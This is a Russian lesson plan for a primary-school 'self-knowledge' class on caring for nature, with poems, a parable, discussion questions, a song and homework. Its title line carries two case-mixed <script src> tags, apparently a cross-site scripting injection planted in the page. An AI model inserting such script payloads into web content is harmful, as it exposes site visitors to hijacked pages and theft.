План урока самопознания.<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Цель: расширение представления в гармонии с собой  через практику общечеловеческой  ценности. Внутренний покой.

Задачи:

углубить понятие значения взаимозависимости человека и природы;

развивать стремление быть защитником природы;

воспитывать ответственное и бережное отношение к природе.

Ресурсы:

материал-

источники

Ход урока:

Орг.момент.

1.  Позитивный настрой.

Давайте будем к тому стремиться,

Чтоб нас любили и зверь, и птицы,

И доверяли повсюду нам,

Как самым верным своим друзьям! (И. Мазнин)

1. Проверка домашнего задания.

Рассказ О. Скребцовой и А.Лопатина «Гранат и добрый мудрец»

- О ком говорится в рассказе?

- Какую мудрость поведал мудрец королю?

- В чем заключается главный секрет граната?

1. Позитивное высказывание (цитата).

«Пойми живой язык природы,-

И скажешь ты: прекрасен мир»

И.С. Никитин

Что вы знаете про автора?

Как вы понимаете смысл цитаты?

1. Рассказывание притчи (подарок учителя) .

Улыбка Земли 
Когда-то давным-давно наша Земля была пустынным космическим телом, не было на ней ни растительности, ни зверья. Мир Земли был бесцветно-серым и пустым. И вот однажды задумал Творец оживить Землю. Рассыпал он по ней несметное множество семян жизни и попросил Солнце обогреть их своим теплом и светом, а Воду - напоить их живительной влагой. 
Солнце принялось согревать посеянные семена жизни, Вода - поить, но они все не всходили. И подумав, Творец понял, что они не захотели приходить в мир, где не было красок. Тогда Творец повелел Радуге подняться над Землей и украсить её своим разноцветьем. И над планетой повисла, разгораясь нежными красками, высокая переливчатая Радуга. Втроем, Радуга, Солнце и Вода задумали подарить Земле новый наряд. Солнце с любовью выткало полотно для наряда теплыми золотыми лучами. Небо добавило красивой вышивки из синевы всех оттенков. А Радуга подарила Земле добрые улыбки всех цветов радости. И превратились эти улыбки в цветы. 
С тех пор все земные полянки, луга и сады улыбаются людям разноцветными цветами-улыбками. Одуванчики - золотистыми улыбками счастья. Гвоздики - алыми улыбками радости. Колокольчики - сиреневыми улыбками любви.

Каждый день то тут, то там на Земле появляются все новые и новые цветы-улыбки, создавая на ней Радугу, подарившей им свои краски. 
1. О чем притча?

2. Какой поступок совершил Творец?

3. А как бы вы оживили природу?

1. Творческая деятельность(работа по группам).

1.  Инсценировка.

Вообразить диалог между деревом и птицей, морем и рыбой, речкой и лягушкой. (Разговор персонажей должен отразить тревогу за сохранность живой природы, ее обитателей)

1. Групповое пение.

Песенка защитников природы.

(На мотив «Песенки Красной шапочки»)

Если б только-только-только

Если б только на планете,

Если б только все земляне

Всё живое берегли,

То возможно можно- можно,

То наверно- верно-верно,

Книги Красной точно- точно

Никогда б не завели!

Припев:

А-а, здравствуйте, горы вот такой вышины!

А-а, здравствуйте, реки вот такой ширины!

А-а, крокодилы, бегемоты,

А-а, обезьяны, кашалоты,

А-а, и зелёный попугай!

А-а, и зелёный попугай!

И пускай у этой речки,

И пускай в зелёной роще,

И пускай в лесу тенистом

Слышен гомон птичьих стай,

И запомни-помни-помни,

Что беречь природу надо,

Всем на этом белом свете

Ты, как можешь, помогай!

Припев:

1. Домашнее задание.

Напишите обращение к человечеству.( Подумайте, с какими словами вы бы обратились к людям, чтобы сохранить Землю!)

1. Заключительная минута урока.

 Я предлагаю вам сесть ровно, выпрямить спинку, закрыть глазки.

Сегодня на уроке мы с вами говорили о бережном отношение к природе, то что мы должны нести ответственность за сохранение природы, Любить и охранять её. Давайте мысленно скажем спасибо Матушке Природе и поместим нашу любовь в свое сердце.

Посидите в тишине минуточку. Откройте глазки. Урок окончен.

Спасибо!